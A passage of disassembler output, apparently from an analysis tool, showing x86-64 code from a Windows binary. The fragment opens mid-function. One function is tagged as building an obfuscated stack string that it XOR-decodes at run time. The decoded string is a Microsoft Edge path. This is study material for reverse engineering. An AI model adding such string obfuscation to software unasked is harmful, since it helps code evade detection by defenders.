sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400141ac
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400141cc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x5f004e
mov dword [rbp - 0x1c], 0x71007b
mov dword [rbp - 0x18], 0x7d0060
mov dword [rbp - 0x14], 0x7d0061
lea ecx, [rbx + 0xe]
mov dword [rbp - 0x10], 0x660074
mov dword [rbp - 0xc], 0x57004e
mov dword [rbp - 8], 0x750076
mov dword [rbp - 4], 0x120077
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001422c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret